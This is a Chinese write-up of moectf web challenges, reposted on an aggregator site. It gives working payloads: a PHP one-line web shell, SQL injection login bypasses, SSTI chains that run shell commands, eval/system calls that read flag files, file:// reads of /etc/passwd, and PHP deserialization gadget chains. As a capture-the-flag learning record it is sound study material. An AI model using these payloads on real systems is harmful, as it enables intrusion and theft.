moectf-wp(web)

news/2024/12/26 8:34:27/文章来源:https://www.cnblogs.com/c1432/p/18442413

记录下自己做题的经历,欢迎老登们参观

1.入门指北:

没啥好说的,解压以后phpstudy开一个网页放在文件夹里直接就能出flag。

2.弗拉格之地的入口:

题目也是非常直接(毕竟是引导我这种小白),我直接召唤dirsearch扫描,也是顺利得到结果 ,打开网页

进入/webtutorEntry.php,成功获得本题flag

3.垫刀之路01: MoeCTF?启动!

看到命令框直接ls加cat结果发现不在这,让我们查找环境变量。

那就查找环境变量,直接出了flag(虽然很简单,但是其实教会了我这个小白怎么查找环境变量)。

4.ez_http:

使用HackBar跟着指导做即可:

(1)post随便发一个值然后根据提示post输入imoau=sb;

(2)url后根据提示get输入"?xt=大帅b";

(3)Referer设置为https://www.xidian.edu.cn/;

(4)设置cookie为"user=admin";

(5)User Agent设置为MoeDedicatedBrowser;

(6)提示"Local access only",故直接添加header为X-Forwarded-For : 127.0.0.1

喜提flag:

5.ProveYourLove:

先随便提交一份发现无法再次提交,F12发现只能提交一次。虽然说看不懂代码,但能看出第二次提交被ban了,又发现提交表白数据和更新表白次数先后响应,考虑能不能卡住时间多发请求,想到了burp抓包,当然得重新开一次容器。

如图配置一下,退出后显示flag:

6.弗拉格之地的挑战:

前面两个分别查看源代码和响应头,直接跳转到第三个,第三个用HackBar在url输入"?a=1",post输入"b=2",后说用admin身份验证,直接将cookie的值改成admin就行了,刷新得到第三串flag。

进入第四关前要求"从http://localhost:8080/flag3cad.php?a=1 点击链接过来",那就把Referer改为http://localhost:8080/flag3cad.php?a=1。

正式进入第四关,

确实有点抽象,但是可以F12一下发现可以把这里的8(别的也行)的id值改成9。

然后点击原本8的按钮就可以了,提示使用console.log为我们生成flag,就直接看F12控制台出的日志信息就行了,顺便前往第五关。

第五关让我们输入"I want flag"直接输入后弹出"你就这么直接?"发现是以弹窗形式的提示,赶紧观察查看器里面的代码发现有一个event

直接给它关了,再次输入"I want flag"得到flag5。

进入第六关是一个非常简单的代码审计,

提示要以get和post形式输入两个$moe并且get输入的$moe不能含有"flag"但是得符合不受大小写的"flag",故输入?moe=Flag同时别忘了post输入moe=1。进入第七关。

第七关让我们借用"eval($_POST['what']);"的力量,那直接post输入"what=phpinfo();"发现没有flag,那就改成"what=system("ls ../../../");"发现有一个flag7文件,直接查看"what=system("cat ../../../flag7");"喜提最后一段flag,最后将前面获得的flag碎片拼起来解个码就可以得到flag了。

7.ImageCloud前置

观察源码使用file伪协议读取文件,输入'file://'发现无事发生,于是加一个斜杠'file:///'

接着根据提示进入etc/passwd得到flag

8.垫刀之路02: 普通的文件上传

没有对文件形式进行限制,直接上传.php文件写入一句话木马即可

<?php @eval($_POST['pass']);?>

接着进入上传页面并如图发出post请求进入phpinfo();查找(Ctrl+F)得到flag

9.垫刀之路03: 这是一个图床:

依旧上传木马文件发现限制了文件类型,那就把木马文件的后缀名改为".jpg"上传时使用burp改包改为".php"文件再发出,下面做法就与上面相同,flag也是在phpinfo();里面。

10.登陆网站:

告诉我们用户名为admin123,密码难以破解,那就考虑sql注入

点击登录即得flag:

11.垫刀之路07: 泄漏的密码:

网页告诉我们pin码,先使用dirsearch扫描出登陆页面,

进入后输入对应的pin,来到console发现是python的控制台。

找了挺久没找到最后发现就在当前目录……

12.垫刀之路04: 一个文件浏览器:


告诉我们这个页面没用,那我们直接换个页面,改url后面的path就行

终于找到了flag但是打开后显示不在此位置但是提示位置不远,最后在tmp里面找到flag

13.静态网页:

看看源码,发现给了提示

直接点没有任何结果,那就抓个包

让我们进入/final1l1l_challenge.php。进入后是一段php代码

意思是让我们get输入a,post输入b,且两个变量都不是数字,然后a弱相等等于0,md5($a)和b的第$a个元素弱相等,那其实只要a第一位数字是字母,md5($a)为经典0e开头数字,b随便取个0k就行,构造?a=QNKCDZO,post输入b=0k就可以了。得到flag。

14.电院_Backend:

先扫描发现/admin/这个目录,直接进入

看看源码发现or被ban掉了,那就换成||,输入sql万能语句

admin@qq.com' || 1=1 #

随便输个密码,填好验证码后显示我们登陆成功,取得flag(就是消失的速度有点快)。

15.勇闯铜人阵:

没啥好说的,直接写脚本,把url换成自己题目的(真头一回写,写了好久)

import requests
session=requests.session()
url="http://127.0.0.1:53592/"
data={'player':'wuxuanyi','direct':'弟子明白'
}
a=["北方","东北方","东方","东南方","南方","西南方","西方","西北方"]
b=["北方一个","东北方一个","东方一个","东南方一个","南方一个","西南方一个","西方一个","西北方一个"]
t=['1','2','3','4','5','6','7','8']
n=1
response=session.post(url=url,data=data)
while n<=6:x=0list1=[]m=response.text[-30:-21]for i in m:if i in t:x+=1list1.append(int(i))if x==1:data1 ={'player':'wuxuanyi','direct': f'{a[list1[0]-1]}'}response= session.post(url=url, data=data1)print(response.text)if x==2:data2 = {'player':'wuxuanyi','direct': f'{b[list1[0]-1]},{b[list1[1]-1]}'}response= session.post(url=url, data=data2)print(response.text)n+=1

运行得到flag:

16.who's blog?

传一个?id=1发现页面发生变化,感觉像是ssti注入

输入?id={{7*7}}发现回显49,那就可以确定了。先拿基类

?id={{().__class__.__base__}}

再拿子类

?id={{().__class__.__base__.__subclasses__()}}

找到warnings.catch项,代码定位位置

?id={{().__class__.__base__.__subclasses__()[239]}}

下面确定存在eval内置函数

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__}}

调用一下发现没有flag

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

直接考虑找环境变量

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("export").read()')}}

成功找到flag

17.垫刀之路06: pop base mini moe:

考验我们审计代码的能力(这个我是真没有)。意思是有两个类A和B和一个析构函数,一个魔术方法__invoke()。我们可以利用这个invoke调用b作为一个函数,前面的$s恰好能触发这个魔术方法,只要把B放入A中,写写代码(藏了点私货):

<?phpclass A {// 注意 private 属性的序列化哦private $evil = "ls /";// 如何赋值呢private $a;function C1432($t){$this->a=$t;}function __destruct() {$s = $this->a;$s($this->evil);}}class B {private $b = system;function __invoke($c) {$s = $this->b;$s($c);}
}
$m = new A();
$n = new B();
$m->C1432($n);echo urlencode(serialize($m));
?>

查找到目录有flag,直接换成cat指令读出即可。

16.pop moe:

先观察代码,发现有四个类,注意几个魔术方法。发现反序列化的时候会先执行析构函数(__destruct()),然后查看pay10ad的值,所以可以先把初始值赋1,注意最后面的eval,这显然是我们想最终达到的地方,我们希望能执行phpinfo();之类的命令,那我们正向看看,看class000,由于这里面的$a会作为函数执行,我们先办法把$what赋值成class001类,进而赋值给$a,这样我们就可以调用class001里面的魔术方法__invoke,下面考虑触发魔术方法__set发现有个一变量payload是不存在的,那我们只要把这里的$a赋值为class002,下面的逻辑就是打开dangerous函数,并给参数为class003,这样可以调用魔术方法__tostring,这样将参数$mystr最终传给evvval函数执行,构造payload如下:

<?phpclass class000 {private $payl0ad=1;protected $what;function c1432($t){$this->what=$t;}public function __construct(){$this->what;}// public function check()// {//     if($this->payl0ad === 0)//     {//         die('FAILED TO ATTACK');//     }//     $a = $this->what;//     $a();// }
}class class001 {public $payl0ad=dangerous;public $a;public function __invoke(){$this->a->payload = $this->payl0ad;}
}class class002 {private $sec;function C123($t){$this->sec=$t;}public function __set($a, $b){$this->$b($this->sec);}public function dangerous($whaattt){$whaattt->evvval($this->sec);}}class class003 {public $mystr='phpinfo();';public function evvval($str){eval($str);}public function __tostring(){return $this->mystr;}
}$m=new class000();
$n=new class001();
$m->c1432($n);
$s=new class002();$n->a=$s;$t=new class003();
$s->C123($t);
echo urlencode(serialize($m)); 
?>

可以在phpinfo();里面搜索得到flag。

~~目前只会这么多了QwQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/809432.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

忘记管理员密码了怎么办

忘记管理员密码可以根据不同的场景采取相应的措施来解决:尝试使用已知的安全问题或备份邮箱重置密码:如果你在创建账户时设置了安全问题或者关联了一个备份邮箱,可以通过这些方式来找回或重置密码。联系系统管理员或技术支持:如果你是企业或组织的一员,并且不是最高权限的…

想登录宝塔面板但是忘记密码_宝塔密码忘记了怎么办

宝塔面板是一款流行的服务器管理工具,如果你忘记了登录密码,可以按照以下步骤尝试找回或重置密码:通过初始化密码功能重置在宝塔面板登录页面,点击“忘记密码”。 根据提示输入面板安装时设定的邮箱或者与之绑定的手机号码。 按照收到的验证码完成身份验证后,设置新的登录…

如何查找网站后台登录

1. 常见的后台登录 URL 大多数网站的后台登录页面都有固定的 URL 结构。尝试以下几种常见的 URL 格式:http(s)://www.example.com/admin http(s)://www.example.com/login http(s)://www.example.com/manage http(s)://www.example.com/cms http(s)://www.example.com/manager…

如何进入网址的管理界面

进入网站的管理界面通常指的是登录到网站后台管理系统,以便进行内容编辑、用户管理等操作。具体步骤如下:获取登录地址:通常网站的管理后台登录地址是在网站域名基础上添加特定路径,例如 http://www.example.com/admin 或 http://www.example.com/login。 如果不确定具体地…

20222427 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容 (1)本周学习内容 1.学习缓冲区溢出的基本原理。 2.重温栈与堆的概念以及执行流程。 3.逐步熟悉Linux系统对文件的处理流程,掌握基础的汇编与反汇编语言。 (2)本周实验任务 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 2.利用foo函数的B…

Nuxt.js 应用中的 link:prefetch 钩子详解

title: Nuxt.js 应用中的 link:prefetch 钩子详解 date: 2024/10/7 updated: 2024/10/7 author: cmdragon excerpt: link:prefetch 是一个强大的钩子,允许开发者在链接预取时执行附加逻辑。合理利用这个钩子,可以帮助优化页面的加载速度和用户体验,提升 Web 应用的整体性…

网页上的电话怎么改

要更改网页上的电话号码,可以按照以下步骤操作: 1. 找到电话号码的位置 首先确定电话号码在网页上的具体位置。常见的位置包括:联系我们页面 页脚(Footer) 导航栏(Header) 侧边栏2. 编辑 HTML 文件 打开包含电话号码的 HTML 文件,并找到具体的电话号码代码。例如: 3. …

发现网站首页收录错误怎么办

如果发现网站首页被搜索引擎错误收录或展示的信息不正确,可以按照以下步骤来解决这个问题:检查robots.txt文件:确保您的网站根目录下的robots.txt文件没有错误地禁止搜索引擎抓取首页。 修改网站内容:如果是首页内容导致的问题,及时更新或修正错误信息,并重新提交给搜索引…

网站底部电话修改怎么弄

要修改网站底部的电话号码,可以按照以下步骤进行操作:找到网站底部模板文件通常网站底部信息会放在一个单独的模板文件中,如 footer.php 或 footer.html。 如果是使用CMS系统(如WordPress、Drupal等),可以在后台找到相应的模板文件。进入网站后台如果您的网站使用的是CMS…

EEZYbotARM2机械臂的逆运动学解(几何法)

首先是有关该机械臂的资料: http://www.eezyrobots.it/eba_mk2.html https://github.com/meisben/easyEEZYbotARM/releases机械臂各关节参数DH定义(角4处没有驱动所以直接为0,我们也不需要去算角4的度数),你也可以通过变换矩阵算出角3对角1的变换矩阵之后乘以一个L4的平移变…

CSS盒子

1.width,height宽度高度。 <!DOCTYPE html> <html><head><title>Width Height</title><style type="text/css">body {font-family: Arial, Verdana, sans-serif;color: #111111;}div {width: 400px;height: 300px;background-co…